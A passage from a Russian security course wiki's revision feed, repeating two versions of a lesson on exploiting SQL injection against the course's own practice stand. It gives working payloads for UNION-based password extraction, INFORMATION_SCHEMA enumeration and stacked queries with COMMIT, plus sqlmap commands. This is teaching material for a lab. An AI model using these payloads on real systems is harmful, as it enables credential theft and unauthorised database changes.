[[Файл:Union-triv.png|770px]]&lt;br /&gt;
&lt;br /&gt;
Этот запрос &amp;quot;достанет&amp;quot; из базы данных две записи - соответствующие пользователям &amp;quot;admin&amp;quot; и &amp;quot;Kobzon&amp;quot;. Это можно попробовать на стенде: http://sql1.stands.course.secsem.ru/by-login?login=admin&#039;+UNION+SELECT+*+FROM+webapp.users+WHERE+login+=+&#039;Kobzon&#039;+%23&lt;br /&gt;
Обратите внимание что решетка закодирована &#039;&#039;&#039;URL-кодированием&#039;&#039;&#039; ([https://en.wikipedia.org/wiki/Percent-encoding вики]) и выглядит как &amp;lt;code&amp;gt;%23&amp;lt;/code&amp;gt;. В данном случае это необходимо, т. к. решетка в URL имеет специальное значение - отделяет &#039;&#039;&#039;хеш урла&#039;&#039;&#039; ([https://en.wikipedia.org/wiki/Fragment_identifier вики]), который не посылается на сервер вообще (как и сама решетка). То есть если её не закодировать то по неё URL просто обрежется.&lt;br /&gt;
&lt;br /&gt;
Конечно, пример тривиальный, так как мы получаем те же колонки из той же таблицы, это можно было бы сделать и без &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt;. Вот более интересный пример: если значение &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt; будет &amp;lt;code&amp;gt;admin&#039; UNION SELECT id,password,NULL,NULL,NULL FROM webapp.passwords WHERE id &amp;gt;= 2 #&amp;lt;/code&amp;gt; то результирующий SQL-запрос примет вид &lt;br /&gt;
&lt;br /&gt;
[[Файл:Union-p4ssww0rdz.png|900px]]&lt;br /&gt;
&lt;br /&gt;
И в его результат попадут пароли всех пользователей с &amp;lt;code&amp;gt;id&amp;lt;/code&amp;gt; начиная с 2. На стенде: http://sql1.stands.course.secsem.ru/by-login?login=admin&#039;+UNION+SELECT+id,password,NULL,NULL,NULL+FROM+webapp.passwords+WHERE+id+%3e%3d+2+%23 (символ &amp;lt;code&amp;gt;&amp;gt;&amp;lt;/code&amp;gt; здесь также URL-закодирован).&lt;br /&gt;
Здесь &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; &amp;quot;забивает&amp;quot; лишние колонки, то что их нужно было именно 3 можно понять из схемы данных ([https://course.secsem.ru/task-src/sql1.tgz код стенда выложен]), там в таблице &amp;lt;code&amp;gt;users&amp;lt;/code&amp;gt; 5 колонок, также это можно было получить подбором.&lt;br /&gt;
&lt;br /&gt;
Еще при использовании &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt; бывает проблема что код приложения отдаёт не все строки результата, а только часть, например только первую (так обычно бывает когда разработчик предполагал что запрос вернет только одну строку). В этом случае можно просто сделать невыполнимое условие в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt; исходного запроса - тогда он вернёт 0 строк и в выдачу попадёт строка из присоединенного &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt;&#039;а. Например &amp;lt;code&amp;gt;nonexistent&#039; and 1=0 UNION SELECT id,password,NULL,NULL,NULL FROM webapp.passwords WHERE id &amp;gt;= 2 #&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Метаданные ===&lt;br /&gt;
&lt;br /&gt;
Как правило, при эксплуатации SQL injection мешает то что неизвестны имена таблиц, имена и типы колонок. Может помочь то что в современных базах данных как правило есть специальные таблицы с метаданными, которые содержат всю схему данных базы. У разных СУБД эти таблицы называются и устроены по-разному, про их устройство можно почитать в документации. Например, у MySQL таблицы с метаданными хранятся в базе &amp;lt;code&amp;gt;INFORMATION_SCHEMA&amp;lt;/code&amp;gt;([https://dev.mysql.com/doc/refman/8.0/en/information-schema.html документация]) - информация о существующих базах данных лежит в таблице &amp;lt;code&amp;gt;SCHEMATA&amp;lt;/code&amp;gt;, о таблицах - в &amp;lt;code&amp;gt;TABLES&amp;lt;/code&amp;gt;, о колонках - в &amp;lt;code&amp;gt;COLUMNS&amp;lt;/code&amp;gt; и так далее.&lt;br /&gt;
&lt;br /&gt;
C таким payload &amp;lt;code&amp;gt;nonexistent&#039; and 1=0 UNION SELECT 0,SCHEMA_NAME,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA #&amp;lt;/code&amp;gt; можно получить список всех существующих баз данных (http://sql1.stands.course.secsem.ru/by-login?login=nonexistent&#039;+and+1=0+UNION+SELECT+0,SCHEMA_NAME,NULL,NULL,NULL+FROM+INFORMATION_SCHEMA.SCHEMATA+%23), с таким &amp;lt;code&amp;gt;nonexistent&#039; and 1=0 UNION SELECT 0,concat(concat(table_name, &#039; &#039;),column_name),NULL,NULL,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = &#039;webapp&#039; #&amp;lt;/code&amp;gt; - список всех таблиц с названиями колонок в БД &amp;lt;code&amp;gt;webapp&amp;lt;/code&amp;gt; (http://sql1.stands.course.secsem.ru/by-login?login=nonexistent&#039;+and+1=0+UNION+SELECT+0,concat(concat(table_name,+&#039;+&#039;),column_name),NULL,NULL,NULL+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA+=+&#039;webapp&#039;+%23 ). В этом последнем запросе использована ещё одна довольно полезная штука - функция SQL, в данном случае функция MySQL &#039;&#039;&#039;CONCAT&#039;&#039;&#039; ([https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat документация]).&lt;br /&gt;
&lt;br /&gt;
=== Fingerprinting базы данных ===&lt;br /&gt;
&lt;br /&gt;
Для атаки бывает необходимо понимать, какая именно СУБД используется - чтобы понимать, как называются таблицы с метаданными какие функции/механизмы/особенности БД можно использовать и т. д. Если из других источников (скажем, доступных исходных кодов приложения или вывода приложением подробной информации о себе) узнать, какая СУБД, не удаётся, это можно узнать от неё самой. Во-первых, если выдаются SQL-ошибки, часто по виду ошибки, который обычно содержит числовой идентификатор, можно однозначно определить базу. Если даже ошибки не выводятся, зафингерпринтить базу можно по её реакции на конструкции SQL, которые работают только в некоторых базах или работают в разных БД по-разному. Яркими примерами является то что в MySQL можно в качестве строковой колонки указать переменную &amp;lt;code&amp;gt;@@version&amp;lt;/code&amp;gt; и функцию &amp;lt;code&amp;gt;version()&amp;lt;/code&amp;gt; и на её место в обоих случаях подставится версия базы, в PostgreSQL и SQLite оператор &amp;lt;code&amp;gt;||&amp;lt;/code&amp;gt; работает как оператор конкатенации строк, при этом в PostgreSQL поддерживается база &amp;lt;code&amp;gt;information_schema&amp;lt;/code&amp;gt;, а в SQLite - нет. Почитать про database fingerprinting можно [https://www.owasp.org/index.php/OWASP_Backend_Security_Project_DBMS_Fingerprint на OWASP], [https://null-byte.wonderhowto.com/how-to/sql-injection-101-fingerprint-databases-perform-general-reconnaissance-for-more-successful-attack-0184562/ здесь], и еще много где, это довольно легко гуглится.&lt;br /&gt;
&lt;br /&gt;
=== Error-based вывод ===&lt;br /&gt;
&lt;br /&gt;
В случае, если мы в ответ сервера не выводятся данные, полученные из SQL-запроса, но выводятся ошибки, вытаскивать информацию бывает всё равно можно - через сообщения об ошибке. Про это написано [https://intsystem.org/security/error-based-sql-injection-in-mysql/ в этой статье], [https://xakep.ru/2010/05/27/52222/ ещё этой], [https://habr.com/ru/post/235287/ этой] и еще много где.&lt;br /&gt;
&lt;br /&gt;
Кстати, если даже не выводится ошибка, а есть только бинарный признак (приложение даёт в зависимости от полученных из SQL-запроса данных ответ да/нет) и даже если нет и его вытягивать данные всё равно можно. Как именно - задача на подумать или нагуглить -).&lt;br /&gt;
&lt;br /&gt;
=== Stacked queries ===&lt;br /&gt;
&lt;br /&gt;
Иногда бывает можно в одном запросе от приложения к базе данных передать несколько SQL-запросов через &amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;. В этом случае SQL injection позволяет сделать уже вообще любой SQL-запрос. Доступность stacked queries зависит от БД и используемого драйвера, к примеру c базами &#039;&#039;&#039;sqlite3&#039;&#039;&#039; и &#039;&#039;&#039;MySQL&#039;&#039;&#039; обычно нельзя, с базой &#039;&#039;&#039;PostgreSQL&#039;&#039;&#039; и стандартным питоновским драйвером &#039;&#039;&#039;psycopg2&#039;&#039;&#039; - можно.&lt;br /&gt;
&lt;br /&gt;
=== Изменения в БД ===&lt;br /&gt;
&lt;br /&gt;
Часто клиентские библиотеки для баз данных (драйверы) при выполнении SQL-запроса автоматически начинают новую транзакцию (выполняя оператор &amp;lt;code&amp;gt;BEGIN&amp;lt;/code&amp;gt;). Любые изменения, сделанные SQL-запросом в транзакции, не будут видны за пределами текущей транзакции, пока она не будет успешно завершена (оператором &amp;lt;code&amp;gt;COMMIT&amp;lt;/code&amp;gt;). Однако, если программист делал запрос, достающий что-то из базы, то есть &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt;, ему не нужно применять никакие изменения и вполне возможно он не делал &amp;lt;code&amp;gt;COMMIT&amp;lt;/code&amp;gt; после своего запроса - поэтому, даже если вставить какой то изменяющий базу запрос после селекта, он не повлияет на ее состояние, так как не будет подтверждена транзакция. ([http://initd.org/psycopg/docs/connection.html#connection.commit Про то как это работает в доках psycopg2], см. про функции &#039;&#039;&#039;commit&#039;&#039;&#039; и &#039;&#039;&#039;close&#039;&#039;&#039;). Однако, эту проблему можно (по крайней мере в некоторых случаях) победить - если работают stacked queries, можно просто вставить после своего запроса оператор &amp;lt;code&amp;gt;COMMIT&amp;lt;/code&amp;gt;, и это приведет к подтверждению транзакции (&amp;lt;code&amp;gt;SELECT ... WHERE ... ; INSERT INTO ... ; COMMIT; --&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
=== sqlmap ===&lt;br /&gt;
&lt;br /&gt;
Существует ряд инструментов которые умеют обнаруживать и/или эксплуатировать SQL injection. Главный из них - &#039;&#039;&#039;[https://github.com/sqlmapproject/sqlmap sqlmap]&#039;&#039;&#039;. Это тулза напитоне, которая умеет брать запрос к сайту и подставлять в значения его параметров разные атаки на SQLi. Как им пользоваться отлично описано в их [https://github.com/sqlmapproject/sqlmap/wiki/Usage usage], базовое использование - передача sqlmap&#039;у урла через параметр &amp;lt;code&amp;gt;-u&amp;lt;/code&amp;gt; (этого достаточно если уязвимый параметр в URL и можно эксплуатировать GET-запросом) &amp;lt;pre&amp;gt;python sqlmap.py -u http://sql1.stands.course.secsem.ru/by-login?login=admin&amp;lt;/pre&amp;gt; либо файла с HTTP-запросом через &amp;lt;code&amp;gt;-r&amp;lt;/code&amp;gt; (это может понадобиться если уязвим параметр, передаваемый в теле POST-запроса или, скажем, HTTP-заголовке) &amp;lt;pre&amp;gt;python sqlmap.py -r request.txt&amp;lt;/pre&amp;gt; где в &amp;lt;code&amp;gt;request.txt&amp;lt;/code&amp;gt; записан HTTP-запрос, например&lt;br /&gt;
&amp;lt;pre&amp;gt;GET /by-login?login=admin HTTP/1.1&lt;br /&gt;
Host: sql1.stands.course.secsem.ru&lt;br /&gt;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Connection: close&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Одна вещь, которую надо помнить про sqlmap это то что он может &#039;&#039;&#039;кэшировать&#039;&#039;&#039; результаты запросов, так что если в базе что-то обновилось (или вы получили при прошлом запуске неполные данные), повторный запуск может выдавать (устаревшие) данные из кэша, а не взаимодействовать с уязвимым приложением для получения новых. Чтобы сделать запрос в обход кэша можно использовать флаг &amp;lt;code&amp;gt;[https://github.com/sqlmapproject/sqlmap/wiki/Usage#ignore-query-results-stored-in-session-file --fresh-queries]&amp;lt;/code&amp;gt;, также можно очистить кэш с помощью флага &amp;lt;code&amp;gt;[https://github.com/sqlmapproject/sqlmap/wiki/Usage#flush-session-files --flush-session]&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Еще материалы ===&lt;br /&gt;
&lt;br /&gt;
Это уже писалось в прошлой статье, но отличая дока по SQL injection [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 есть на форуме rdot].&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%AD%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F_SQL_injection&amp;diff=680</id>
		<title>Введение в практическую безопасность (2019)/Эксплуатация SQL injection</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%AD%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F_SQL_injection&amp;diff=680"/>
		<updated>2022-07-04T13:01:08Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Краткое введение в то что такое SQL injection было в [[Введение_в_практическую_безопасность_(2019)/HTTP,_инструменты_%26_SQL_injection#SQL_injection|предыдущей статье]], теперь о некоторых вещах которые может делать атакующий.&lt;br /&gt;
&lt;br /&gt;
=== SQL-комментарий ===&lt;br /&gt;
&lt;br /&gt;
Супер простой трюк. В конце своей инъекции можно добавить символы однострочного SQL-комментария, тогда всё что идет дальше (как правило, остаток исходного SQL-запроса) будет считаться комментарием и проигнорируется. В разных БД символы комментария могут разными, см. документацию, чаще всего это двойной минус &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; и/или решетка &amp;lt;code&amp;gt;#&amp;lt;/code&amp;gt;, также бывает классический двойной слеш &amp;lt;code&amp;gt;//&amp;lt;/code&amp;gt;. Фактически, этот трюк уже был использован в примере в [[Введение_в_практическую_безопасность_(2019)/HTTP,_инструменты_%26_SQL_injection#SQL_injection|предыдущей статье]], двойной минус в конце там заставил базу данных проигнорировать оставшуюся от исходного запроса одинарную кавычку в конце.&lt;br /&gt;
&lt;br /&gt;
=== UNION SELECT ===&lt;br /&gt;
&lt;br /&gt;
Очень полезным может быть &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt; ([https://ru.wikipedia.org/wiki/Union_(SQL) вики],[https://www.postgresql.org/docs/9.4/typeconv-union-case.html доки postgres],[http://citforum.ru/database/sql_kg/3-4.shtml курс &amp;quot;Основы современных БД&amp;quot;]), который позволяет присоединить к результу одного &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt; запроса результат еще одного. Если инъекция в операторе &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt; (что в реальности довольно часто), с помощью &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt; можно добавить в его результат вывод нового, полностью написанного атакующим &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt; - запроса из друой таблицы, с другими колонками, условиями и т. д.&lt;br /&gt;
&lt;br /&gt;
Чтобы &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt; сработал, требуется чтобы количество и типы колонок совпадали. Помочь с этим может то что в SQL можно писать на месте колонок просто константы (и тогда они просто проставятся на эти места в каждой из строк результата запроса) и то что чаще всего можно использовать вместо любого значения &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;. Если количество колонок в исходном запросе неизвестно, можно просто подбирать его.&lt;br /&gt;
&lt;br /&gt;
Для такого кода&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
&lt;br /&gt;
если параметр &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt; будет иметь значение &amp;lt;code&amp;gt;admin&#039; UNION SELECT * FROM webapp.users WHERE login = &#039;Kobzon&#039; #&amp;lt;/code&amp;gt; результирующий запрос примет вид&lt;br /&gt;
[[Файл:Union-triv.png|770px]]&lt;br /&gt;
&lt;br /&gt;
Этот запрос &amp;quot;достанет&amp;quot; из базы данных две записи - соответствующие пользователям &amp;quot;admin&amp;quot; и &amp;quot;Kobzon&amp;quot;. Это можно попробовать на стенде: http://sql1.stands.course.secsem.ru/by-login?login=admin&#039;+UNION+SELECT+*+FROM+webapp.users+WHERE+login+=+&#039;Kobzon&#039;+%23&lt;br /&gt;
Обратите внимание что решетка закодирована &#039;&#039;&#039;URL-кодированием&#039;&#039;&#039; ([https://en.wikipedia.org/wiki/Percent-encoding вики]) и выглядит как &amp;lt;code&amp;gt;%23&amp;lt;/code&amp;gt;. В данном случае это необходимо, т. к. решетка в URL имеет специальное значение - отделяет &#039;&#039;&#039;хеш урла&#039;&#039;&#039; ([https://en.wikipedia.org/wiki/Fragment_identifier вики]), который не посылается на сервер вообще (как и сама решетка). То есть если её не закодировать то по неё URL просто обрежется.&lt;br /&gt;
&lt;br /&gt;
Конечно, пример тривиальный, так как мы получаем те же колонки из той же таблицы, это можно было бы сделать и без &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt;. Вот более интересный пример: если значение &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt; будет &amp;lt;code&amp;gt;admin&#039; UNION SELECT id,password,NULL,NULL,NULL FROM p4ssww0rdz WHERE id &amp;gt;= 2 #&amp;lt;/code&amp;gt; то результирующий SQL-запрос примет вид &lt;br /&gt;
&lt;br /&gt;
[[Файл:Union-p4ssww0rdz.png|900px]]&lt;br /&gt;
&lt;br /&gt;
И в его результат попадут пароли всех пользователей с &amp;lt;code&amp;gt;id&amp;lt;/code&amp;gt; начиная с 2. На стенде: http://sql1.stands.course.secsem.ru/by-login?login=admin&#039;+UNION+SELECT+id,password,NULL,NULL,NULL+FROM+p4ssww0rdz+WHERE+id+%3e%3d+2+%23 (символ &amp;lt;code&amp;gt;&amp;gt;&amp;lt;/code&amp;gt; здесь также URL-закодирован).&lt;br /&gt;
Здесь &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; &amp;quot;забивает&amp;quot; лишние колонки, то что их нужно было именно 3 можно понять из схемы данных ([https://course.secsem.ru/task-src/sql1.tgz код стенда выложен]), там в таблице &amp;lt;code&amp;gt;users&amp;lt;/code&amp;gt; 5 колонок, также это можно было получить подбором.&lt;br /&gt;
&lt;br /&gt;
Еще при использовании &amp;lt;code&amp;gt;UNION&amp;lt;/code&amp;gt; бывает проблема что код приложения отдаёт не все строки результата, а только часть, например только первую (так обычно бывает когда разработчик предполагал что запрос вернет только одну строку). В этом случае можно просто сделать невыполнимое условие в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt; исходного запроса - тогда он вернёт 0 строк и в выдачу попадёт строка из присоединенного &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt;&#039;а. Например &amp;lt;code&amp;gt;nonexistent&#039; and 1=0 UNION SELECT id,password,NULL,NULL,NULL FROM p4ssww0rdz WHERE id &amp;gt;= 2 #&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Метаданные ===&lt;br /&gt;
&lt;br /&gt;
Как правило, при эксплуатации SQL injection мешает то что неизвестны имена таблиц, имена и типы колонок. Может помочь то что в современных базах данных как правило есть специальные таблицы с метаданными, которые содержат всю схему данных базы. У разных СУБД эти таблицы называются и устроены по-разному, про их устройство можно почитать в документации. Например, у MySQL таблицы с метаданными хранятся в базе &amp;lt;code&amp;gt;INFORMATION_SCHEMA&amp;lt;/code&amp;gt;([https://dev.mysql.com/doc/refman/8.0/en/information-schema.html документация]) - информация о существующих базах данных лежит в таблице &amp;lt;code&amp;gt;SCHEMATA&amp;lt;/code&amp;gt;, о таблицах - в &amp;lt;code&amp;gt;TABLES&amp;lt;/code&amp;gt;, о колонках - в &amp;lt;code&amp;gt;COLUMNS&amp;lt;/code&amp;gt; и так далее.&lt;br /&gt;
&lt;br /&gt;
C таким payload &amp;lt;code&amp;gt;nonexistent&#039; and 1=0 UNION SELECT 0,SCHEMA_NAME,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA #&amp;lt;/code&amp;gt; можно получить список всех существующих баз данных (http://sql1.stands.course.secsem.ru/by-login?login=nonexistent&#039;+and+1=0+UNION+SELECT+0,SCHEMA_NAME,NULL,NULL,NULL+FROM+INFORMATION_SCHEMA.SCHEMATA+%23), с таким &amp;lt;code&amp;gt;nonexistent&#039; and 1=0 UNION SELECT 0,concat(concat(table_name, &#039; &#039;),column_name),NULL,NULL,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = &#039;webapp&#039; #&amp;lt;/code&amp;gt; - список всех таблиц с названиями колонок в БД &amp;lt;code&amp;gt;webapp&amp;lt;/code&amp;gt; (http://sql1.stands.course.secsem.ru/by-login?login=nonexistent&#039;+and+1=0+UNION+SELECT+0,concat(concat(table_name,+&#039;+&#039;),column_name),NULL,NULL,NULL+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA+=+&#039;webapp&#039;+%23 ). В этом последнем запросе использована ещё одна довольно полезная штука - функция SQL, в данном случае функция MySQL &#039;&#039;&#039;CONCAT&#039;&#039;&#039; ([https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat документация]).&lt;br /&gt;
&lt;br /&gt;
=== Fingerprinting базы данных ===&lt;br /&gt;
&lt;br /&gt;
Для атаки бывает необходимо понимать, какая именно СУБД используется - чтобы понимать, как называются таблицы с метаданными какие функции/механизмы/особенности БД можно использовать и т. д. Если из других источников (скажем, доступных исходных кодов приложения или вывода приложением подробной информации о себе) узнать, какая СУБД, не удаётся, это можно узнать от неё самой. Во-первых, если выдаются SQL-ошибки, часто по виду ошибки, который обычно содержит числовой идентификатор, можно однозначно определить базу. Если даже ошибки не выводятся, зафингерпринтить базу можно по её реакции на конструкции SQL, которые работают только в некоторых базах или работают в разных БД по-разному. Яркими примерами является то что в MySQL можно в качестве строковой колонки указать переменную &amp;lt;code&amp;gt;@@version&amp;lt;/code&amp;gt; и функцию &amp;lt;code&amp;gt;version()&amp;lt;/code&amp;gt; и на её место в обоих случаях подставится версия базы, в PostgreSQL и SQLite оператор &amp;lt;code&amp;gt;||&amp;lt;/code&amp;gt; работает как оператор конкатенации строк, при этом в PostgreSQL поддерживается база &amp;lt;code&amp;gt;information_schema&amp;lt;/code&amp;gt;, а в SQLite - нет. Почитать про database fingerprinting можно [https://www.owasp.org/index.php/OWASP_Backend_Security_Project_DBMS_Fingerprint на OWASP], [https://null-byte.wonderhowto.com/how-to/sql-injection-101-fingerprint-databases-perform-general-reconnaissance-for-more-successful-attack-0184562/ здесь], и еще много где, это довольно легко гуглится.&lt;br /&gt;
&lt;br /&gt;
=== Error-based вывод ===&lt;br /&gt;
&lt;br /&gt;
В случае, если мы в ответ сервера не выводятся данные, полученные из SQL-запроса, но выводятся ошибки, вытаскивать информацию бывает всё равно можно - через сообщения об ошибке. Про это написано [https://intsystem.org/security/error-based-sql-injection-in-mysql/ в этой статье], [https://xakep.ru/2010/05/27/52222/ ещё этой], [https://habr.com/ru/post/235287/ этой] и еще много где.&lt;br /&gt;
&lt;br /&gt;
Кстати, если даже не выводится ошибка, а есть только бинарный признак (приложение даёт в зависимости от полученных из SQL-запроса данных ответ да/нет) и даже если нет и его вытягивать данные всё равно можно. Как именно - задача на подумать или нагуглить -).&lt;br /&gt;
&lt;br /&gt;
=== Stacked queries ===&lt;br /&gt;
&lt;br /&gt;
Иногда бывает можно в одном запросе от приложения к базе данных передать несколько SQL-запросов через &amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;. В этом случае SQL injection позволяет сделать уже вообще любой SQL-запрос. Доступность stacked queries зависит от БД и используемого драйвера, к примеру c базами &#039;&#039;&#039;sqlite3&#039;&#039;&#039; и &#039;&#039;&#039;MySQL&#039;&#039;&#039; обычно нельзя, с базой &#039;&#039;&#039;PostgreSQL&#039;&#039;&#039; и стандартным питоновским драйвером &#039;&#039;&#039;psycopg2&#039;&#039;&#039; - можно.&lt;br /&gt;
&lt;br /&gt;
=== Изменения в БД ===&lt;br /&gt;
&lt;br /&gt;
Часто клиентские библиотеки для баз данных (драйверы) при выполнении SQL-запроса автоматически начинают новую транзакцию (выполняя оператор &amp;lt;code&amp;gt;BEGIN&amp;lt;/code&amp;gt;). Любые изменения, сделанные SQL-запросом в транзакции, не будут видны за пределами текущей транзакции, пока она не будет успешно завершена (оператором &amp;lt;code&amp;gt;COMMIT&amp;lt;/code&amp;gt;). Однако, если программист делал запрос, достающий что-то из базы, то есть &amp;lt;code&amp;gt;SELECT&amp;lt;/code&amp;gt;, ему не нужно применять никакие изменения и вполне возможно он не делал &amp;lt;code&amp;gt;COMMIT&amp;lt;/code&amp;gt; после своего запроса - поэтому, даже если вставить какой то изменяющий базу запрос после селекта, он не повлияет на ее состояние, так как не будет подтверждена транзакция. ([http://initd.org/psycopg/docs/connection.html#connection.commit Про то как это работает в доках psycopg2], см. про функции &#039;&#039;&#039;commit&#039;&#039;&#039; и &#039;&#039;&#039;close&#039;&#039;&#039;). Однако, эту проблему можно (по крайней мере в некоторых случаях) победить - если работают stacked queries, можно просто вставить после своего запроса оператор &amp;lt;code&amp;gt;COMMIT&amp;lt;/code&amp;gt;, и это приведет к подтверждению транзакции (&amp;lt;code&amp;gt;SELECT ... WHERE ... ; INSERT INTO ... ; COMMIT; --&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
=== sqlmap ===&lt;br /&gt;
&lt;br /&gt;
Существует ряд инструментов которые умеют обнаруживать и/или эксплуатировать SQL injection. Главный из них - &#039;&#039;&#039;[https://github.com/sqlmapproject/sqlmap sqlmap]&#039;&#039;&#039;. Это тулза напитоне, которая умеет брать запрос к сайту и подставлять в значения его параметров разные атаки на SQLi. Как им пользоваться отлично описано в их [https://github.com/sqlmapproject/sqlmap/wiki/Usage usage], базовое использование - передача sqlmap&#039;у урла через параметр &amp;lt;code&amp;gt;-u&amp;lt;/code&amp;gt; (этого достаточно если уязвимый параметр в URL и можно эксплуатировать GET-запросом) &amp;lt;pre&amp;gt;python sqlmap.py -u http://sql1.stands.course.secsem.ru/by-login?login=admin&amp;lt;/pre&amp;gt; либо файла с HTTP-запросом через &amp;lt;code&amp;gt;-r&amp;lt;/code&amp;gt; (это может понадобиться если уязвим параметр, передаваемый в теле POST-запроса или, скажем, HTTP-заголовке) &amp;lt;pre&amp;gt;python sqlmap.py -r request.txt&amp;lt;/pre&amp;gt; где в &amp;lt;code&amp;gt;request.txt&amp;lt;/code&amp;gt; записан HTTP-запрос, например&lt;br /&gt;
&amp;lt;pre&amp;gt;GET /by-login?login=admin HTTP/1.1&lt;br /&gt;
Host: sql1.stands.course.secsem.ru&lt;br /&gt;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Connection: close&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Одна вещь, которую надо помнить про sqlmap это то что он может &#039;&#039;&#039;кэшировать&#039;&#039;&#039; результаты запросов, так что если в базе что-то обновилось (или вы получили при прошлом запуске неполные данные), повторный запуск может выдавать (устаревшие) данные из кэша, а не взаимодействовать с уязвимым приложением для получения новых. Чтобы сделать запрос в обход кэша можно использовать флаг &amp;lt;code&amp;gt;[https://github.com/sqlmapproject/sqlmap/wiki/Usage#ignore-query-results-stored-in-session-file --fresh-queries]&amp;lt;/code&amp;gt;, также можно очистить кэш с помощью флага &amp;lt;code&amp;gt;[https://github.com/sqlmapproject/sqlmap/wiki/Usage#flush-session-files --flush-session]&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Еще материалы ===&lt;br /&gt;
&lt;br /&gt;
Это уже писалось в прошлой статье, но отличая дока по SQL injection [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 есть на форуме rdot].&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=679</id>
		<title>Введение в практическую безопасность (2019)/HTTP, инструменты &amp; SQL injection</title>
